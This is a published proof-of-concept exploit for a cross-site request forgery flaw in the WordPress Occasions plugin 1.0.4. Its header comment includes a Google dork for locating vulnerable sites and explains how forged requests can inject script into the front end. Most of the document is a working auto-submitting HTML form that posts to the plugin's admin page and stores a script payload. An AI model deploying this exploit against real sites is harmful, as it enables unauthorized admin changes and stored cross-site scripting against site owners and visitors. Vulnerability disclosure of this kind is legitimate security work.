WordPress Occasions third party plugin version 1.0.4 suffers from a cross site request forgery vulnerability.
9065b612a6814f4c3c807c0afb6fbf138b3642c802701417b8dfe94ebb4827a1<html>
<!--
# Exploit Title: WordPress Occasions Plugin 1.0.4 CSRF
# Google Dork: inurl:"/wp-content/plugins/occasions
# Date: 18.03.2013
# Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog)
# Vendor Homepage: http://wordpress.org/extend/plugins/occasions/
# Software Link: http://downloads.wordpress.org/plugin/occasions.zip
# Version: 1.0.4
# Tested on: Apache/2.2.16 (Debian) PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli)
You can use the CSRF vulnerability to add/delete Occasions. It is also possible to enter JavaScript in occ_content1 parameter when occ_type1=1 .
Think this is a feature not a bug, anyway because of the CSRF vulnerability this can be used to execute arbitrary JavaScript in the front-end area
(shortcode = [Occasions]).
PoC will add an alert in the front-end area.
Note: check occ_startdate1 and occ_enddate1 and set them appropriate.
-->
<head><title>CSRF Occasions</title></head>
<body>
<!-- replace 127.0.0.1:9001/wordpress -->
<form action="http://127.0.0.1:9001/wordpress/wp-admin/options-general.php?page=occasions/occasions.php" method="POST">
<input type="hidden" name="action" value="saveoccasions" />
<input type="hidden" name="nodes[]" value="1" />
<input type="hidden" name="occ_title1" value="CSRF Vulnerability" />
<input type="hidden" name="occ_startdate1" value="18.03." />
<input type="hidden" name="occ_enddate1" value="28.03." />
<input type="hidden" name="occ_type1" value="1" />
<input type="hidden" name="occ_content1" value="<script>alert(1)</script>" />
<script>document.forms[0].submit();</script>
</form>
</body>
</html>
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